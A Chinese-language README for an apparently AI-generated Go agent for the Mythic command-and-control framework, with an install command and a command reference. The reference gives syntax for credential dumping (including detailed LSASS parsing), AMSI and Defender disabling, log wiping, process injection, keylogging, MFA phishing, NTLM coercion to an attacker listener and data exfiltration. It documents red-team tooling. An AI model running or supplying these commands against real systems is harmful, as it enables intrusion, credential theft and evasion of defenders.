Fawkes 是一个由 AI 独家编写的 Golang Mythic C2 Agent。
# Fawkes Mythic C2 Agent
<img src="https://raw.githubusercontent.com/galoryber/fawkes/HEAD/agent_icons/fawkes.svg" width="100" />
Fawkes 是一个完全以氛围驱动的方式（vibe-coded）编写的 Mythic C2 代理。它始于一个“我想知道”的念头，如今已成为一个目标。我的目标是：不为此代理写一行代码，而是完全通过提示语（prompt）来生成它。
我最初尝试自己编写代理，但在克隆示例容器、阅读 Mythic 文档、观看开发系列 YouTube 视频，以及从 Merlin 或 Freyja 等其他代理复制代码后，我意识到自己根本没有时间开发自己的代理。不过，编写提示语这件事，我还是有时间做的。
Fawkes 是一个基于 Go 语言的代理，具备跨平台能力。它支持 **Windows**（EXE、DLL 和 shellcode 载荷）、**Linux**（ELF 二进制文件和共享库）以及 **macOS**（适用于 Intel 和 Apple Silicon 的 Mach-O 二进制文件）。总计 **213 个命令**：其中 113 个跨平台命令、82 个仅限 Windows 的命令、21 个仅限 Unix 的命令、11 个仅限 Linux 的命令，以及 6 个仅限 macOS 的命令（部分命令具有平台特定的实现，但共享同一个面向用户的名称，例如 screenshot）。支持 HTTP 出口和 TCP 点对点（P2P）链接，用于内部横向移动。
## 安装
要安装 Fawkes，你需要在一台远程计算机上安装 Mythic。你可以从 [Mythic 项目页面](https://github.com/its-a-feature/Mythic/) 找到 Mythic 的安装说明。
从 Mythic 安装目录：```
./mythic-cli install github https://github.com/galoryber/fawkes
```
## 命令快速参考Command | Syntax | Description
------- | ------ | -----------
acl-edit | `acl-edit -action read -server dc01 -target user` | 读取/修改Active Directory对象DACL（添加/删除ACE，授予DCSync、GenericAll，备份/恢复）。跨平台 (T1222.001, T1098, T1003.006)。
adcs | `adcs -action <cas\|templates\|find\|request\|auto-exploit> -server <DC> -username <user@domain> -password <pass> [-ca_name <CA>] [-template <name>] [-alt_name <UPN>]` | 枚举AD证书服务，发现易受攻击的模板（ESC1-ESC4，通过DCOM的ESC6），通过DCOM请求证书以利用ESC1/ESC6，或自动利用（查找→解析→请求链）。跨平台 (T1649)。
ads | `ads -action <write\|read\|list\|delete> -file <path> [-stream <name>] [-data <content>] [-hex true]` | **（仅Windows）** 管理NTFS备用数据流——写入、读取、列出或删除隐藏数据流。支持文本和十六进制编码的二进制。MITRE T1564.004。
amcache | `amcache -action <query\|search\|delete\|clear> [-name <pattern>] [-count <n>]` | 查询和清理取证执行痕迹。Windows: Shimcache。Linux: recently-used.xbel、缩略图、Tracker。macOS: 最近项目、KnowledgeC、隔离 (T1070.004)。
apc-injection | `apc-injection [-method <apc\|hwbp>] -pid <PID> [-tid <TID>] [-target_api ntdll!NtDelayExecution] [-timeout_ms 30000]` | **（仅Windows）** 远程进程注入。`-method apc`（默认）通过NtQueueApcThread将shellcode排队到可提醒线程（使用`ts`查找）。`-method hwbp`通过DebugActiveProcess附加，在目标API（默认为`ntdll!NtDelayExecution`）上设置DR0硬件断点，并在断点触发时将Rip重定向到shellcode——无需TID，无需APC队列，无需CreateRemoteThread (T1055.004, T1055)。
audio-capture | `audio-capture [-duration 10] [-sample_rate 16000] [-channels 1] [-device default]` | 从麦克风录制音频并上传WAV文件。Windows (waveIn)、Linux (arecord/parecord)、macOS (rec/ffmpeg)。跨平台 (T1123)。
auditpol | `auditpol -action <query\|disable\|enable\|stealth> [-category <name\|all>]` | **（仅Windows）** 查询和修改Windows审核策略。在敏感操作前禁用安全事件日志记录。隐身模式禁用检测关键子类别。使用AuditQuerySystemPolicy API (T1562.002)。
argue | `argue -command "cmd.exe /c whoami" -spoof "cmd.exe /c echo hello"` | **（仅Windows）** 使用伪造的进程参数执行命令。绕过Sysmon事件ID 1和EDR命令行遥测 (T1564.010)。
arp | `arp [-ip <subnet>]` 或 `arp -action spoof -target <IP> -gateway <IP>` | 显示带过滤的ARP表，或ARP缓存投毒用于中间人定位 (T1557.002)。欺骗：仅Linux，清理时恢复。
asrep-roast | `asrep-roast -server <DC> -username <user@domain> -password <pass> [-account <target>]` | 为未启用预认证的账户请求AS-REP票据，并以hashcat格式提取哈希用于离线破解。通过LDAP自动枚举。跨平台 (T1558.004)。
av-detect | `av-detect [-deep true]` | 通过扫描运行进程并与130+签名数据库比对，检测已安装的AV/EDR/安全产品。使用`--deep`时，还会检查内核模块、systemd单元和配置目录以发现已安装但未运行的产品（Linux）。报告产品、供应商、类型和PID。跨平台。
autopatch | `autopatch <dll_name> <function_name> <num_bytes>` | **（仅Windows）** 通过跳转到最近的返回（C3）指令来自动修补函数。用于AMSI/ETW绕过。
base64 | `base64 -action <encode\|decode\|xor\|hex\|hex-decode\|rot13\|url\|url-decode\|caesar> -input <data> [-key <key>] [-shift <N>] [-file true] [-output <path>]` | 数据编码工具包：base64、XOR（使用字符串/十六进制密钥）、十六进制、ROT13、URL百分比编码、凯撒密码。均支持文件I/O。跨平台 (T1132.001, T1140, T1027)。
bits | `bits -action <list\|create\|persist\|cancel\|suspend\|resume\|complete> [-name <job>] [-url <URL>] [-path <local>] [-command <exe>]` | **（仅Windows）** 管理BITS传输作业以实现持久化和隐蔽文件下载。创建、暂停、恢复、完成作业并设置通知命令以实现持久化。作业在重启后持续存在 (T1197)。
browser | `browser [-action <passwords\|cookies\|history\|autofill\|bookmarks\|downloads>] [-browser <all\|chrome\|edge\|chromium\|firefox>]` | 从Chromium、Firefox和Safari中提取浏览器数据。历史记录、自动填充、书签、下载跨平台。密码：Chromium (DPAPI/钥匙串/GNOME密钥环)、Firefox (key4.db NSS解密)、Safari (macOS钥匙串)。Firefox cookies在所有平台。MITRE T1555.003, T1217。
cat | `cat <file>` 或 `cat -path <file> -start N -end N -number true` | 显示文件内容，可指定行范围、行号，并有5MB大小保护。
cd | `cd <directory>` | 更改当前工作目录。
chmod | `chmod -path <file> -mode <permissions> [-recursive true]` | 使用八进制（755、644）或符号（+x、u+rw、go-w）表示法修改文件/目录权限。支持递归。跨平台 (T1222)。
chown | `chown -path <file> -owner <user> [-group <group>] [-recursive true]` | **（仅Linux/macOS）** 通过用户名/UID和组名/GID更改文件/目录所有者。支持递归 (T1222)。
cert-check | `cert-check -host <hostname> [-port 443] [-timeout 10]` | 检查远程主机上的TLS证书——识别CA、自签名证书、过期时间、SAN、TLS版本、密码套件和SHA256指纹。跨平台 (T1590.001)。
certstore | `certstore -action <list\|find> [-store <MY\|ROOT\|CA\|Trust\|TrustedPeople>] [-filter <substring>]` | **（仅Windows）** 枚举Windows证书存储以查找代码签名证书、客户端身份验证证书和私钥。搜索CurrentUser和LocalMachine。MITRE T1552.004, T1649。
clipboard | `clipboard -action <read\|write\|monitor\|dump\|stop> [-data "text"] [-interval 3]` | 读取/写入剪贴板或持续监控更改并检测凭据模式。跨平台 (T1115)。
cloud-metadata | `cloud-metadata -action <detect\|creds\|storage\|aws-iam\|azure-graph\|gcp-iam\|aws-s3\|azure-blob\|gcp-gcs\|aws-persist\|azure-persist\|aws-ssm\|azure-keyvault\|gcp-secrets\|...> [-provider <auto\|aws\|azure\|gcp\|do>]` | 云元数据、凭据提取、IAM枚举、存储枚举、持久化和机密存储访问。storage/aws-s3/azure-blob/gcp-gcs：枚举包含示例对象的存储桶/容器。aws-ssm：带解密的SSM参数存储。azure-keyvault：通过托管标识访问Key Vault机密。gcp-secrets：通过服务账号访问Secret Manager。aws-persist/azure-persist：创建长期访问密钥/应用注册。自动检测。IMDSv2。跨平台 (T1552.005, T1580, T1530, T1098.001)。
compress | `compress -action <create\|list\|extract\|stage\|exfil\|stage-exfil\|exfil-https\|exfil-github> -path <path> [-format zip\|tar.gz] [-output <out>] [-pattern *.txt] [-cleanup true]` | 创建、列出、提取、暂存或外泄归档。暂存使用AES-256-GCM加密。外泄传输到Mythic。exfil-https：通过分块上传、自定义头部、抖动上传到S3/Azure/GCS预签名URL。exfil-github：通过GitHub Contents API外泄。跨平台 (T1560.001, T1074.001, T1041, T1048, T1567, T1567.001)。
coerce | `coerce -server <target> -listener <attacker-ip> [-method petitpotam\|printerbug\|shadowcoerce\|all] -username <user> [-password <pass>] [-hash <NT hash>] [-domain <domain>]` | 通过MS-EFSR (PetitPotam)、MS-RPRN (PrinterBug)、MS-FSRVP (ShadowCoerce) 进行NTLM身份验证强制。强制目标对攻击者监听器进行身份验证。支持传递哈希。跨平台 (T1187)。
config | `config [-action show\|set\|update] [-key sleep\|jitter\|killdate\|working_hours_start\|working_hours_end\|working_days] [-value <val>] [-file <binary>] [-hash <sha256>]` | 查看或修改运行时代理配置，或自更新代理二进制文件。`show`/`set`：休眠、抖动、结束日期、工作时间。`update`：从Mythic下载新payload，验证，启动并退出当前代理。跨平台 (T1105)。
container-detect | `container-detect` | 检测容器运行时和环境（Docker、K8s、LXC、Podman、WSL）。检查逃逸向量如Docker套接字和K8s服务账号。跨平台 (T1082, T1497.001)。
container-escape | `container-escape -action <check\|docker-sock\|cgroup\|nsenter\|mount-host\|k8s-enum\|k8s-secrets\|k8s-rbac\|k8s-nodes\|k8s-etcd\|k8s-deploy\|k8s-exec> [-command '<cmd>'] [-path <ns>\|<ns1,ns2,...>\|*] [-kubeconfig /path/to/config]` | **（仅Linux）** 容器逃逸 + K8s操作——Docker套接字、cgroup、nsenter、主机设备挂载。K8s：枚举pod/服务、读取机密、**k8s-rbac**：ClusterRole/RoleBinding扫描 + 权限提升路径评分（严重/警告/信息）、**k8s-nodes**：集群节点攻击面（kubelet/OS/内核/CIDR/污点/角色）、**k8s-etcd**：从控制平面pod参数发现etcd客户端端点 + 每个端点的未认证`/version`探测（未认证读取 = 完全集群沦陷）、通过API部署/执行pod。**集群外**：`-kubeconfig`接受窃取的kubeconfig文件，用于非容器主机上的K8s访问（令牌+客户端证书认证）(T1611, T1610, T1613, T1552.007, T1069.003, T1087.004)。
cp | `cp <source> <destination>` | 将文件从源复制到目标。
cred-check | `cred-check [-action check\|verify-all] -hosts <IPs/CIDRs> -username <DOMAIN\user> -password <pass> [-hash <NTLM>] [-timeout <seconds>]` | 在目标主机上测试凭据是否可用于SMB、WinRM和LDAP。`verify-all`并行测试所有存储凭据对发现的主机。跨平台 (T1110.001, T1078)。
cred-harvest | `cred-harvest -action <shadow\|cloud\|configs\|history\|windows\|m365-tokens\|browser-live\|all\|dump-all> [-user <username>]` | 收集凭据：影子哈希（Unix）、云配置（AWS/GCP/Azure/K8s）、应用机密、shell历史记录扫描泄漏的密码/令牌/API密钥、PowerShell历史记录+环境变量+RDP（Windows）、来自TokenBroker/Teams/Outlook的M365 OAuth/JWT令牌（Windows）、**browser-live**：通过Chrome DevTools协议（CDP）从运行的Chrome/Edge窃取实时cookie、localStorage、sessionStorage。**dump-all**：自动化子任务链——并行运行hashdump + lsa-secrets + cred-harvest（Windows）。跨平台 (T1552, T1003.008, T1528, T1539)。
credential-prompt | `credential-prompt [-action dialog\|device-code\|mfa-phish] [-title "Authentication Required"] [-message "Enter your credentials..."] [-icon caution]` | 显示原生凭据对话框、滥用OAuth设备代码流或钓鱼MFA代码。dialog：macOS AppleScript、Windows CredUI、Linux zenity/kdialog。device-code：用于令牌捕获的Azure AD OAuth设备代码流。mfa-phish：伪造的MFA验证对话框以捕获TOTP代码。跨平台 (T1056.002, T1621, T1111)。
curl | `curl -url <URL> [-method GET\|PUT\|POST] [-file <path>] [-upload raw\|multipart] [-headers '{"K":"V"}'] [-body <data>]` | HTTP请求 + 文件上传外泄 (T1567)。上传到S3预签名URL、Azure SAS、通用端点。跨平台 (T1106, T1567.002)。
cut | `cut -path <file> -delimiter <char> -fields <1,3\|1-3\|2-> [-chars <1-10>]` | 从文件行中提取字段或字符范围。自定义分隔符、范围说明。跨平台 (T1083)。
credman | `credman [-action <list\|dump\|vault>] [-filter <pattern>]` | 枚举平台凭据存储。Windows：凭据管理器 + 保管库 (CredEnumerateW, vaultcli.dll)。Linux：GNOME密钥环 (secret-tool)、KDE KWallet、NetworkManager WiFi/VPN密码、GNOME在线账号。macOS：钥匙串项（通用+互联网密码）、WiFi密码。`list`=元数据，`dump`=包含机密，`vault`=仅Windows。MITRE T1555.004, T1555.001。
defender | `defender -action <status\|exclusions\|add-exclusion\|remove-exclusion\|threats\|enable\|disable> [-type <path\|process\|extension>] [-value <val>]` | **（仅Windows）** 管理Defender——状态、排除项、威胁、启用/禁用实时保护。MITRE T1562.001。
dpapi | `dpapi -action <decrypt\|masterkeys\|chrome-key> [-blob <base64>] [-entropy <base64>]` | **（仅Windows）** DPAPI blob解密 (CryptUnprotectData)、主密钥枚举、Chrome/Edge加密密钥提取。MITRE T1555.003/T1555.005。
email | `email -action <count\|search\|read\|folders> [-folder <name>] [-query <keyword>] [-index <n>]` | **（仅Windows）** 通过COM访问Outlook邮箱。统计消息数、按关键字搜索、按索引读取、列出文件夹。MITRE T1114.001。
dcom | `dcom -action <exec\|upload\|exec-staged\|check> -host <target> -command <cmd> [-args <arguments>] [-object mmc20\|shellwindows\|shellbrowser\|wscript\|excel\|outlook]` | **（仅Windows）** 通过DCOM在远程主机上执行命令、上传文件或暂存并执行。`check`验证RPC/DCOM先决条件。upload：通过certutil/PowerShell暂存传输文件。exec-staged：上传然后执行并自动清理。六个COM对象。MITRE T1021.003, T1570。
debug-detect | `debug-detect` | 检测附加的调试器、分析工具和检测工具。Windows：IsDebuggerPresent、NtQueryInformationProcess、PEB、DR寄存器。Linux：TracerPid、LD_PRELOAD、内存映射（Frida/Valgrind/sanitizers）、VM/沙箱、eBPF监控（Falco/Tetragon/Tracee）、auditd框架、ptrace范围。macOS：sysctl P_TRACED、DYLD_INSERT_LIBRARIES、VM检测（sysctl）、安全产品（EDR/AV）、沙箱/分析环境。全部：调试器进程扫描 (T1497.001)。
dcsync | `dcsync [-action sync\|domain-takeover] -server <DC> -username <user> [-password <pass>] [-hash <NT hash>] [-target <account[,account2]>]` | DCSync——通过DRS复制AD凭据而不接触LSASS。`domain-takeover`并行运行kerberoast + asrep-roast + dcsync krbtgt/Administrator。跨平台 (T1003.006)。
df | `df [-filesystem <device>] [-mount_point <path>] [-fstype <type>]` | 报告文件系统磁盘空间使用情况，可选设备、挂载点或文件系统类型过滤。跨平台 (T1082)。
diff | `diff -file1 <path> -file2 <path> [-context <n>]` | 比较两个文件并以统一差异格式显示差异。基于LCS的算法，可配置上下文行数。跨平台 (T1083)。
dns | `dns -action <resolve\|reverse\|srv\|mx\|ns\|txt\|cname\|all\|dc\|zone-transfer\|wildcard\|exfil\|doh> -target <host> [-server <dns_ip>]` | DNS枚举——解析主机、查询记录、发现域控制器、区域传输、通配符检测、DNS-over-HTTPS隐蔽解析、DNS外泄。跨平台 (T1018, T1071.004, T1048.001)。
du | `du -path <file_or_dir> [-max_depth <n>]` | 报告文件和目录的磁盘使用情况。按子目录显示大小细分，按最大排序。跨平台 (T1083)。
drivers | `drivers [-filter <name>]` | 枚举已加载的内核驱动程序/模块。Windows：EnumDeviceDrivers，Linux：/proc/modules，macOS：kext枚举。跨平台 (T1082)。
domain-policy | `domain-policy -action <all\|password\|lockout\|fgpp> -server <DC> -username <user@domain> -password <pass>` | 通过LDAP枚举AD密码/锁定策略和FGPP。推荐安全喷洒设置。跨平台 (T1201)。
crontab | `crontab -action <list\|add\|remove> [-entry <cron_line>] [-program <path>] [-schedule <schedule>]` | **（仅Linux/macOS）** 列出、添加或删除cron作业以实现持久化。支持原始cron条目或程序+计划语法。
download | `download <path>` 或 `download {"path": "/file", "compress": true}` | 从目标下载文件或目录。大于1MB的文件自动用gzip压缩（可配置）。目录自动压缩为zip。SHA256哈希验证。分块传输，文件浏览器集成。
drives | `drives` | 列出可用驱动器/卷和已挂载文件系统，包含类型、标签/设备和空闲/总空间。
enum-tokens | `enum-tokens [-action list\|unique] [-user <filter>]` | **（仅Windows）** 枚举所有进程中的访问令牌。`list`显示每个进程的PID/用户/完整性/会话。`unique`按用户分组并显示进程数。自动启用SeDebugPrivilege (T1134, T1057)。
encrypt | `encrypt -action <encrypt\|decrypt\|encrypt-files\|decrypt-files\|corrupt\|corrupt-files> -path <file_or_glob> [-key <base64key>] [-confirm SIMULATE\|CORRUPT]` | AES-256-GCM加密/解密 (T1486) + 定向文件破坏 (T1565)。corrupt：用随机数据覆盖文件头。破坏性操作需要安全门。
env | `env [-action <list\|get\|set\|unset>] [-name <VAR>] [-value <val>] [-filter <pattern>]` | 列出、获取、设置或取消设置代理进程的环境变量。更改由子进程继承。跨平台。
env-scan | `env-scan [-pid <PID>] [-filter <pattern>]` | 扫描进程环境变量以查找泄漏的凭据、API密钥和机密。跨云、数据库、CI/CD和加密类别的35+检测模式。Linux + macOS (T1057, T1552.001)。
etw | `etw -action <sessions\|rules\|agents\|patch\|restore\|blind-all\|...> [-session_name <name>] [-provider <guid\|shorthand>]` | **（Windows、Linux、macOS）** 审核/遥测子系统操控。Windows：ETW会话/提供者停止/盲化/全部盲化/启用/修补/恢复。Linux：auditd规则、journald清除/轮转、syslog配置、SIEM代理检测。macOS：统一日志、安全代理检测。(T1562, T1070.002)。
eventlog | `eventlog -action <list\|query\|clear\|info\|enable\|disable> [-channel <name\|unit\|subsystem\|path>] [-event_id <id>] [-filter <xpath\|keyword\|timewindow>] [-count <max>]` | 管理系统事件日志。Windows：wevtapi.dll通道。Linux：journald单元和syslog文件。macOS：统一日志 (os_log) 子系统/进程。列出源、查询事件、清除/清理日志、获取信息。MITRE T1070.001, T1562.002。
execute-memory | `execute-memory -arguments 'arg1 arg2' -timeout 60` | 从内存执行本地二进制文件。Linux：memfd_create（不写入磁盘）。macOS：临时文件附带临时代码签名。Windows：临时文件并立即清理。所有平台执行后移除痕迹。MITRE T1620。
execute-shellcode | `execute-shellcode [-technique mmap\|memfd] [-encoding none\|xor\|aes] [-key hex]` | 在当前进程中执行shellcode。支持XOR/AES-256-CTR编码的shellcode并运行时解码 (T1027)。Windows：VirtualAlloc + CreateThread。Linux：mmap（默认）或memfd_create。macOS：MAP_JIT (ARM64) 或 mmap。跨平台 (T1059.006, T1620)。
exit | `exit` | 任务代理退出。
file-attr | `file-attr -path <file> [-attrs "+hidden,-readonly,+immutable"]` | 获取或设置文件属性——hidden、readonly、system（Windows）；immutable、append、nodump（Linux）；hidden、immutable（macOS）。省略 -attrs 可查看当前标志。跨平台 (T1564.001, T1222)。
file-type | `file-type -path <file_or_dir> [-recursive true] [-max_files 100]` | 通过魔数（35+签名）识别文件类型。单个文件或目录扫描。检测可执行文件、归档、文档、图片、数据库、媒体等。跨平台 (T1083)。
find | `find -pattern <glob> [-path <dir>] [-min_size <bytes>] [-max_size <bytes>] [-newer <min>] [-older <min>] [-type f\|d] [-perm suid\|sgid\|writable\|executable\|<octal>] [-owner <user\|uid>]` | 按名称、大小、日期、权限或所有者搜索文件。查找SUID二进制文件、全局可写文件、特定用户拥有的文件。跨平台 (T1083)。
find-admin | `find-admin -hosts <targets> -username <user> -password <pass> [-method smb\|winrm\|both] [-hash <NT>] [-action scan\|auto-move] [-lateral_method psexec\|wmi] [-lateral_command <cmd>]` | 扫描主机以发现哪些主机上的凭据具有管理员访问权限（通过SMB C$共享和/或WinRM）。**auto-move**：自动化子任务链——查找管理员主机，然后通过psexec/wmi横向移动到每个主机。支持CIDR、IP范围、PTH、并行扫描 (T1021.002, T1021.006)。
firewall | `firewall -action <list\|add\|delete\|enable\|disable\|status\|pf-add\|pf-delete\|pf-list> [-name <rule>] [-direction <in\|out>] [-protocol <tcp\|udp\|any>] [-port <port>]` | **（Windows、macOS、Linux）** 管理防火墙规则。Windows：COM API。macOS：ALF + pf锚定规则。Linux：iptables/nftables（自动检测）。为macOS包过滤提供PF锚点支持。MITRE T1562.004。
getprivs | `getprivs -action list\|enable\|disable\|strip [-privilege <name>]` | **（Windows、macOS、Linux）** 列出权限/能力。Windows：令牌权限，可启用/禁用/剥离。Linux：进程能力 (CapEff/CapPrm) + SELinux/AppArmor上下文。macOS：权限、沙箱、组 (T1134.002)。
getsystem | `getsystem [-technique steal\|potato\|check\|sudo\|osascript]` | **（Windows、Linux、macOS）** 权限提升。Windows：通过令牌窃取或DCOM potato获取SYSTEM。Linux：检查提升向量（SUID、sudo、能力、docker）或尝试sudo提权。macOS：检查向量、sudo或osascript管理员提示 (T1134, T1548)。
gpp-password | `gpp-password -server <DC> -username <user@domain> -password <pass>` | 在SYSVOL中搜索包含加密cpassword属性的GPP XML文件，并使用公布的AES密钥解密 (MS14-025)。通过SMB跨平台 (T1552.006)。
gpo | `gpo -action <list\|links\|find\|all> -server <DC> -username <user@domain> -password <pass> [-filter <name>]` | 通过LDAP枚举组策略对象——列出GPO、映射链接及强制、发现有趣的CSE设置。跨平台 (T1615)。
grep | `grep -pattern <regex> [-path <dir>] [-extensions .txt,.xml] [-ignore_case] [-max_results 100]` | 在文件内容中搜索正则表达式模式。递归目录搜索，支持扩展名过滤、上下文行和跳过二进制文件。跨平台 (T1083, T1552.001)。
hash | `hash -path <file_or_dir> [-algorithm md5\|sha1\|sha256\|sha512] [-recursive true] [-pattern *.exe] [-max_files 500]` | 计算文件哈希（MD5、SHA-1、SHA-256、SHA-512）。单个文件或目录，支持通配符模式过滤和深度控制。跨平台 (T1083)。
hexdump | `hexdump -path <file> [-offset <bytes>] [-length <bytes>]` | 以xxd风格的十六进制+ASCII格式显示文件内容。偏移/长度控制以检查特定区域，最大4096字节。跨平台 (T1005)。
handles | `handles -pid <pid> [-type File] [-show_names] [-max_count 500]` | **（Windows、Linux、macOS）** 枚举进程中的打开句柄/文件描述符。Windows：NtQuerySystemInformation。Linux：/proc/pid/fd。macOS：lsof (T1057, T1082)。
hashdump | `hashdump [-action dump\|insitu\|insitu-full\|tickets\|auto-spray] [-targets <hosts>] [-format json]` | **（Windows、Linux、macOS）** 提取本地帐户密码哈希。Windows：从SAM注册表获取NTLM哈希（需要SYSTEM）；**insitu**：通过进程内LSA API枚举活动登录会话（需要管理员）；**insitu-full**：以PROCESS_VM_READ打开lsass.exe，在lsasrv.dll中签名扫描LogonSessionList，遍历链表，在每个节点上叠加KIWI_MSV1_0_LIST_63布局以解析LUID/用户名/域/认证包/登录类型/凭据指针，遍历credentials_ptr处每个认证包的凭据链以捕获每个KIWI_MSV1_0_PRIMARY_CREDENTIAL_ENC信封，签名扫描LsaInitializeProtectedMemory_Internal以恢复IV / h3DesKey / hAesKey BCrypt密钥全局变量以及原始16字节IV / 24字节3DES / 32字节AES密钥字节，AES-256-CFB / 3DES-CBC解密每个捕获的密文blob（按`len % 8`逐blob选择），并叠加KIWI_MSV1_0_PRIMARY_CREDENTIAL_10_NEW布局以提取NT/LM/SHA哈希——以`username:rid:lm:nt:::`格式输出，兼容dump-action ProcessResponse凭据存储钩子（Phase 2B + 2C-i + 2C-ii-a + 2C-ii-b + 2C-ii-c，Win10 21H2 — Win11 23H2，需要管理员）。Linux：/etc/shadow哈希，带哈希类型识别（需要root）。macOS：来自用户plist的目录服务PBKDF2哈希（需要root）。**auto-spray**：转储哈希，然后通过cred-check自动针对目标主机进行喷洒。MITRE T1003.002, T1003.008。
history-scrub | `history-scrub [-action list\|clear\|clear-all] [-user <username>]` | 列出或清除shell/应用程序命令历史文件。涵盖bash、zsh、fish、PowerShell、python、mysql等。跨平台 (T1070.003)。
hollow | `hollow -filename <shellcode> [-target <process>] [-ppid <pid>] [-block_dlls true]` | 进程空洞——创建挂起的进程、写入shellcode、重定向执行。**Windows:** CREATE_SUSPENDED + SetThreadContext、PPID欺骗、DLL阻止、PEB装饰（ImagePath/CommandLine/WindowTitle掩蔽）。**Linux (amd64/arm64):** PTRACE_TRACEME + /proc/mem写入。**macOS:** ptrace + Mach VM API (task_for_pid, mach_vm_allocate, mach_vm_write, mach_vm_protect) —— 需要root。MITRE T1055.012, T1036。
ide-recon | `ide-recon -action <vscode\|jetbrains\|all> [-user <filter>]` | 枚举IDE配置——VS Code扩展、远程SSH主机、最近项目、包含机密的设置。JetBrains数据源、部署服务器、最近项目。跨平台 (T1005, T1083)。
ifconfig | `ifconfig` | 列出网络接口，包含地址、MAC、MTU和标志。跨平台 (Windows/Linux/macOS)。
inline-assembly | `inline-assembly` | **（仅Windows）** 使用CLR在内存中执行.NET程序集。支持命令行参数。先使用`start-clr`进行AMSI修补工作流。
inline-execute | `inline-execute` | **（仅Windows）** 在内存中执行Beacon Object File (BOF/COFF)。支持所有参数类型：字符串 (z)、宽字符串 (Z)、整数 (i)、短整数 (s) 和二进制 (b)。
reflective-load | `reflective-load -dll_b64 <base64_dll> [-function <export>]` | **（仅Windows）** 从内存加载本地PE（DLL）到当前进程。手动PE映射，包含节复制、重定位修复、导入解析和DllMain调用。可选择调用导出函数 (T1620)。
iptables | `iptables -action <status\|rules\|nat\|add\|delete\|flush> [-rule <args>] [-table <name>]` | **（仅Linux）** 通过iptables/nftables/ufw进行Linux防火墙枚举和管理。IP转发、连接跟踪、规则列出和修改。MITRE T1562.004。
jobkill | `jobkill -id <task-uuid>` | 按任务ID停止正在运行的任务。使用`jobs`列出正在运行的任务。跨平台。
jobs | `jobs` | 列出当前正在运行的任务，包含任务ID、命令名称和持续时间。跨平台。
jxa | `jxa -code '<script>' [-timeout 60]` 或 `jxa -file /path/to/script.js` | **（仅macOS）** 执行JavaScript for Automation (JXA)脚本，通过ObjC桥接访问Foundation、AppKit、Security框架。支持内联代码和文件输入 (T1059.007)。
kerberoast | `kerberoast -server <DC> -username <user@domain> -password <pass> [-spn <SPN>]` | 为SPN账户请求TGS票据，并以hashcat格式提取哈希用于离线破解。通过LDAP自动枚举。跨平台 (T1558.003)。
klist | `klist -action <list\|purge\|dump\|import> [-server <filter>] [-ticket <base64>] [-path <path>]` | 枚举、转储、清除和导入Kerberos票据。导入启用传递票据：Windows通过LSA注入kirbi，Linux/macOS写入ccache并设置KRB5CCNAME。跨平台 (T1558, T1550.003)。
keychain | `keychain -action <list\|dump\|find-password\|find-internet\|find-cert> [-service <name>] [-server <host>]` | **（仅macOS）** 访问macOS钥匙串——列出钥匙串、转储元数据、查找通用/互联网密码、枚举证书。
kerb-delegation | `kerb-delegation -action <all\|unconstrained\|constrained\|rbcd\|monitor> -server <DC> -username <user@domain> -password <pass> [-duration <s>] [-interval <s>]` | 枚举Kerberos委派关系——非约束、约束（含协议转换）、RBCD。**monitor**动作（仅Windows/SYSTEM）轮询LSA以获取传入TGT并导出为kirbi blob。除monitor外跨平台 (T1550.003, T1558)。
keylog | `keylog -action <start\|stop\|dump\|status\|clear>` | 低级键盘记录器。Windows：SetWindowsHookEx。Linux：/dev/input evdev。macOS：IOKit HID。检测Ctrl+V/Cmd+V粘贴事件并捕获剪贴板内容。所有平台上的窗口上下文跟踪 (T1056.001)。
lateral-check | `lateral-check -hosts <IPs/CIDRs> [-timeout <seconds>]` | 测试针对目标的横向移动选项——检查SMB、WinRM、RDP、RPC、SSH连接性并建议适用的方法。跨平台 (T1046, T1021)。
last | `last [-action logins\|failed\|reboot] [-count 25] [-user <username>]` | 显示登录历史、失败登录尝试和系统启动/关闭事件。Linux：解析wtmp/btmp。Windows：安全/系统事件日志。macOS：原生`last` + 统一日志。(T1087.001, T1110, T1082)。
ldap-query | `ldap-query -action <users\|computers\|groups\|domain-admins\|spns\|asrep\|admins\|disabled\|gpo\|ou\|password-never-expires\|trusts\|unconstrained\|constrained\|dacl\|gmsa\|bloodhound\|query> -server <DC>` | 通过LDAP查询Active Directory。预设查询：用户、计算机、组、域管理员、所有管理员 (adminCount)、SPN、可AS-REP烘焙的、禁用账户、GPO、OU、密码永不过期、域信任、非约束/约束委派、DACL分析、gMSA密码提取、BloodHound CE v6收集（用户/计算机/组/OU/GPO/信任用于图分析）或自定义LDAP过滤器。跨平台 (T1087.002, T1482, T1555, T1003, T1615)。
ldap-write | `ldap-write -action <add-member\|remove-member\|set-attr\|add-attr\|remove-attr\|set-spn\|disable\|enable\|set-password\|shadow-cred\|clear-shadow-cred\|create-machine\|rbcd\|delete\|gpo-task\|gpo-script\|template-esc1\|template-esc4> -server <DC> -target <obj>` | 通过LDAP修改AD对象。组成员身份、属性、SPN、账户启用/禁用、密码重置、影子凭据、计算机账户创建、RBCD委派、对象删除。GPO滥用：注入计划任务 (gpo-task) 或启动脚本 (gpo-script)。ADCS：修改证书模板以用于ESC1/ESC4利用。跨平台 (T1098, T1556.006, T1484.001, T1649)。
kill | `kill -pid <PID>` | 按PID终止进程。跨平台 (Windows/Linux/macOS)。
laps | `laps -server <DC> -username <user@domain> -password <pass> [-filter <computer>]` | 通过LDAP从AD读取LAPS密码。支持LAPS v1 (ms-Mcs-AdmPwd) 和Windows LAPS v2 (ms-LAPS-Password)。跨平台 (T1552.006)。
lsa-secrets | `lsa-secrets -action <dump\|cached>` | **（仅Windows）** 提取LSA机密（服务密码、DPAPI密钥、机器账户）和缓存的域凭据（DCC2/MSCacheV2 hashcat格式）。需要SYSTEM (T1003.004, T1003.005)。
launchagent | `launchagent -action <install\|remove\|list> -label <com.example.name> [-path <exe>] [-daemon true]` | **（仅macOS）** 安装、移除或列出LaunchAgent/LaunchDaemon持久化。创建包含RunAtLoad+KeepAlive的plist。
link | `link -host <ip> -port <port> [-connection_type tcp\|namedpipe] [-pipe_name <name>]` | 通过TCP或命名管道连接到P2P代理以进行内部跳转。命名管道模式使用SMB端口445以实现更隐蔽的Windows流量。跨平台TCP，仅Windows命名管道 (T1572)。
ln | `ln -target <existing> -link <new> [-symbolic true] [-force true]` | 创建符号链接或硬链接。符号链接可以指向不存在的路径。强制模式替换现有链接。跨平台 (T1036)。
linux-logs | `linux-logs -action <list\|read\|logins\|clear\|truncate\|shred> [-file <path>] [-search <filter>] [-lines <n>]` | **（仅Linux）** 列出、读取、清除或篡改Linux日志文件和二进制登录记录 (wtmp/btmp/utmp)。支持选择性删除行和安全粉碎 (T1070.002)。
